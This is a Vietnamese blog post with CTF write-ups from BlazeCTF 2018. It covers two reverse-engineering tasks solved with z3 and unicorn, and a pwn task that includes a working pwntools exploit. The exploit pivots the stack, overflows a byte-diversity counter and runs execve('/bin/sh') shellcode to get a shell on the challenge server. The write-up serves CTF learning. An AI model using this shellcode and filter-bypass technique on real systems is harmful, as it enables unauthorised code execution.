Skip to content

Feed to Win

September 28, 2019 / CTF

Writeups BlazeCTF 2018

Giải này hay, khó, cả phần RE và Pwn chuối vlờ :)) Lúc mình bắt đầu làm thì thời gian còn hơn 2 ngày, giải được 3 bài :)) do không đủ kiên nhẫn để làm tiếp cũng như bị lôi kéo chơi bời bởi mấy thằng bạn :)).

Smokemebabby (RE)

Câu này được viết bằng C++, lúc mới mở bằng IDA thì sẽ thấy một số hàm có tên dài loằn ngoằn kiểu như này

Cái này gọi là name mangling. Trong IDA chọn Options->Demangled name để tùy chọn cách hiển thị

Đầu tiên mình tìm hàm chính thực thi bằng cách tìm string. Ấn Shift + F12 rồi ấn Ctrl+F nhập enter code sẽ ra được như này

Nhấp đúp chuột vào kết quả tìm được thì IDA sẽ đưa mình đến đây

Ấn x để xem có những thằng nào tham chiếu (reference) đến chuỗi này hoặc bạn có thể tiếp tục đúp chuột vào .data.rel.ro:off_28FB01 để đi đến thằng tham chiếu đến nó.

Chọn xong và ấn ok một phát là ta đa... mình có ngay hàm xử lý chính của chương trình

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
smokeme420::main::h6111ea91c183b772 proc near
 
var_118= qword ptr -118h
var_108= qword ptr -108h
var_100= qword ptr -100h
var_F8= qword ptr -0F8h
var_F0= byte ptr -0F0h
var_B8= byte ptr -0B8h
var_A8= qword ptr -0A8h
var_A0= qword ptr -0A0h
var_98= qword ptr -98h
var_90= qword ptr -90h
var_88= byte ptr -88h
var_70= qword ptr -70h
var_68= qword ptr -68h
var_60= qword ptr -60h
var_58= qword ptr -58h
var_50= qword ptr -50h
var_48= byte ptr -48h
var_18= qword ptr -18h
var_10= qword ptr -10h
var_8= qword ptr -8
 
sub     rsp, 118h
lea     rdi, [rsp+118h+var_F0]
lea     rax, off_28FB00
mov     ecx, 1
mov     edx, ecx
lea     rsi, unk_7C150
xor     ecx, ecx
mov     r8d, ecx
mov     [rsp+118h+var_F8], rsi
mov     rcx, [rsp+118h+var_F8]
call    core::fmt::Arguments::new_v1::h8e28a601436f64b4
lea     rdi, [rsp+118h+var_F0]
call    std::io::stdio::_print::h3f65b723a39e1375
call    std::io::stdio::stdout::hb62ca8ff1b7a8494
lea     rdi, [rsp+118h+var_B8]
lea     rsi, [rsp+118h+var_A8]
mov     [rsp+118h+var_A8], rax
call    _$LT$std..io..stdio..Stdout$u20$as$u20$std..io..Write$GT$::flush::hf917cd2680b53cf3
lea     rdi, [rsp+118h+var_B8]
call    _$LT$core..result..Result$LT$T$C$$u20$E$GT$$GT$::unwrap::he4020f63a6af5659
lea     rdi, [rsp+118h+var_A8]
call    core::ptr::drop_in_place::hb7308f8a93810a9a
lea     rdi, [rsp+118h+var_A0]
call    alloc::string::String::new::h4d0372b53cccda3d
call    std::io::stdio::stdin::h2aaad918cd7bc0d2
lea     rdi, [rsp+118h+var_88]
lea     rsi, [rsp+118h+var_70]
lea     rdx, [rsp+118h+var_A0]
mov     [rsp+118h+var_70], rax
call    std::io::stdio::Stdin::read_line::h38f9b1d8276890ed
lea     rdi, [rsp+118h+var_88]
call    _$LT$core..result..Result$LT$T$C$$u20$E$GT$$GT$::unwrap::h692a90c86cef37de
lea     rdi, [rsp+118h+var_70]
mov     [rsp+118h+var_100], rax
call    core::ptr::drop_in_place::hbc16d69298a7c6a5
lea     rdi, [rsp+118h+var_60]
mov     rax, [rsp+118h+var_A0]
mov     [rsp+118h+var_60], rax
mov     rax, [rsp+118h+var_98]
mov     [rsp+118h+var_58], rax
mov     rax, [rsp+118h+var_90]
mov     [rsp+118h+var_50], rax
call    smokeme420::check::check::hcd63bfd484a4be4f
lea     rsi, core::fmt::num::_$LT$impl$u20$core..fmt..Display$u20$for$u20$i64$GT$::fmt::ha2f9dd74089587ba
lea     rcx, [rsp+118h+var_68]
mov     [rsp+118h+var_68], rax
mov     [rsp+118h+var_8], rcx
mov     rdi, [rsp+118h+var_8]
call    core::fmt::ArgumentV1::new::hc36e158ffd4f4c72
lea     rdi, [rsp+118h+var_48]
lea     rcx, off_28FB10
mov     r9d, 2
mov     esi, r9d
mov     r9d, 1
mov     r8d, r9d
lea     r10, unk_7C150
lea     r11, [rsp+118h+var_18]
mov     [rsp+118h+var_18], rax
mov     [rsp+118h+var_10], rdx
mov     [rsp+118h+var_108], rsi
mov     rsi, rcx
mov     rdx, [rsp+118h+var_108]
mov     rcx, r11
mov     r9, r10
mov     [rsp+118h+var_118], 1
call    core::fmt::Arguments::new_v1_formatted::hd0352bc3603a0767
lea     rdi, [rsp+118h+var_48]
call    std::io::stdio::_print::h3f65b723a39e1375
add     rsp, 118h
retn
smokeme420::main::h6111ea91c183b772 endp

Đây là lúc thể hiện sự tinh ý :)) Có thể dùng mã giả để xem cho ngắn gọn hơn nhưng mình chọn xem assembly vì nó rõ ràng hơn. Để ý từ dòng 46 đến 53, đây là khúc khai báo cấp phát đối tượng string để lưu input. Tiếp tục, bằng cảm tính, tại dòng 66, đấy chính là hàm kiểm tra input có hợp lệ hay không (tên hàm có chữ check :))) Giờ vào xem hàm smokeme420::check::check::hcd63bfd484a4be4f có gì vui

Hàm này bên trong quá dài nên mình chỉ nói sơ sơ qua cách hoạt động của nó. Hàm sẽ lấy từng kí tự của input rồi đưa vào 1 hàm khác tương ứng để kiểm tra bằng biểu thức số học xem kí tự đó có thỏa mãn hay không. Đây là ví dụ:

1
2
3
4
5
6
7
8
9
signed __int64 __fastcall smokeme420::check::check_0::h769f5aac0c7e92b1(__int64 a1)
{
  if ( !a1 )
    std::process::exit::h9e2f81877082b74a();
  if ( 58028480 != 8
                 * (4 * (4 * (8 * (2 * (4 * (9 * (2 * (7 * (a1 - 49) - 29) - 18) - 48) - 27 + 23) + 33) + 33) - 29) + 28) )
    std::process::exit::h9e2f81877082b74a();
  return 8 * (4 * (4 * (8 * (2 * (4 * (9 * (2 * (7 * (a1 - 49) - 29) - 18) - 48) - 27 + 23) + 33) + 33) - 29) + 28);
}

Tổng cộng có đến 39 hàm kiểu như thế nhưng mỗi hàm sẽ có một biểu thức khác nhau. Nhiệm vụ của mình đơn giản chỉ là giải biểu thức tìm a1 thôi, y chang toán lớp 3 :))

Tuy nhiên, có một số vấn đề gặp phải. Đầu tiên, để ý tham số là __int64 a1 chứ không phải là char a1, tức là hàm thực hiện các phép toán 64 bit chứ không phải là 8 bit và trong python, kiểu số nguyên không được biểu diễn theo 2 hay 4 byte gì đấy, hình như nó được lưu trong object. Ví dụ 0xFFFFFFFF trong python sẽ khác với int trong C.

Vấn đề thứ 2 là có đến 39 cái biểu thức, mình không thể nào tự giải bằng tay từng cái một được vì mình lười =)) Cho nên mình đã có 1 giải pháp khác đấy chính là sử dụng z3 :)) Mình chỉ cần copy y nguyên cái biểu thức rồi replace dấu ‘!=’ thành ‘==’ thì z3 sẽ tự tìm a1 cho mình :))

Đây là code mình dùng để giải ra flag, code hơi trash tí nhưng mình lười sửa lại :)) https://pastebin.com/0SNGEZF3

À mà bài này cờ hó ở chỗ chỗ là nó có nhiều flag nhưng không phải flag nào nó cũng chấp nhận =)) Tức là BTC muốn mình giải bằng tool chứ giải bằng tay thì hên xui =)) Mình nghĩ đây chính là lý do bài này ít lượt resolved hơn bài magic-re mặc magic-re theo mình khó hơn :))

Magic-re (RE)

Bài này thì cho IDA là thấy rõ ngay nên mình không trích code gì hết. Chỉ cần nói sơ qua cách thực thi của chương trình. Mình sẽ được nhập input có độ dài tối đa là 255 kí tự. Mỗi kí tự của input phải thỏa mã điều kiện 0x3F < input[i] <= 0x5F. Thực ra trong khoảng từ 0x3F đến 0x5F đấy chính là opcode của các tập lênh dec, inc, push và pop trong x86. Những opcode này sẽ được sử dụng trong hàm magic để tạo ra một chuỗi các kí tự giống với đề bài thì input chính là flag.

Mình khá tâm đắc với bài này vì mình viết code bruteforce chứ không phải giải bằng tay. Code sử dụng unicorn engine và thuật toán quy hoạch động (dynamic programming)  để giải :v Giải ra đúng 4 cái input luôn :v

https://pastebin.com/v34VQzJb

Shellcodeme (Pwn)

Bài này cho luôn cả source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// gcc -zexecstack -Os shellcodeme.c -o shellcodeme
#include
#include
#include <sys/mman.h>
#include
 
#define BUF_SIZE (0x4096 & ~(getpagesize()-1))
 
int main() {
    setbuf(stdout, NULL);
    unsigned char seen[257], *p, *buf;
    void (*f)(void);
    memset(seen, 0, sizeof seen);
    buf = mmap(0, BUF_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    puts("Shellcode?");
    fgets(buf, BUF_SIZE, stdin);
    fflush(stdin);
    for(p=buf; *p != '\n'; p++) {
        seen[256] += !seen[*p];
        seen[*p] |= 1;
    }
    if(seen[256] > 7) {
        puts("Shellcode too diverse.");
        _exit(1);
    } else {
        *(void**)(&) = (void*)buf;
        f();
        _exit(0);
    }
}

Chương trình chỉ cho nhập tối đa 7 kí tự khác nhau, tức là cho dù mình nhập input với độ dài là 1000 nhưng chỉ cần trong 1000 kí tự đó chỉ có 7 kí tự khác nhau là được. Viết shellcode mà chỉ với 7 kí tự khác nhau thôi thì khá chuối, riêng chuỗi '/bin/sh' đã là 6 kí tự khác nhau rồi.

Cách làm của mình là viết shellcode điều khiển thanh ghi sp nằm trong vùng của biến buf từ đó mình có thể điều khiển được toàn bộ 257 giá trị của biến seen, kết hợp với int overflow để làm cho seen[256] <= 7

Code của mình, vì lúc mình exploit thì mình chạy trực tiếp trên python chứ không viết thành file .py nên giờ đọc hơi bị ngáo tí :))

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
p = remote('shellcodeme.420blaze.in', 420)
 
# đưa giá trị của rsp nằm trong khoảng của biến buf rồi sau đó điều khiển rip về 0x40069b
# tiện thể điều khiển toàn bộ giá trị của biến seen, seen[:255] = 0x0, seen[256] = 0x5e
p.sendline('\xc9' + '\x5e'*6 + '\xc3' + '\x5e'*(0x38 - 8) + '\x9b\x06\x40\x00\x00\x00\x00\x00' + '\x00'*0x107 + '\x5e')
 
# gửi lại shellcode và làm cho seen[256] bị int overflow
p.sendline('\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05vwxyz{|}~\x7f\x81\x82\x83\x84\x85\x86\x87\x88\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe2\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xffGHIJKLMNOQRTUVWabcdefghi')
 
p.interactive()

Post navigation

Previous Post:

Writeups SwampCTF 2018

Next Post:

Build PyQt5 in Python2.7 32-bit

Recent Posts

  • SVATTT2019
  • flag_check – AceBear CTF 2019
  • Writeups MatesCTF Round 3
  • Writeups ISITDTU
  • Câu chuyện về GDB

Recent Comments

    Archives

    • December 2019
    • April 2019
    • February 2019
    • July 2018
    • June 2018
    • April 2018
    • March 2018
    • February 2018

    Categories

    • CTF
    • Exploit
    • RE
    • Uncategorized

    Meta

    • Log in
    • Entries feed
    • Comments feed
    • WordPress.org
    © 2021 Feed to Win - Powered by SimplyNews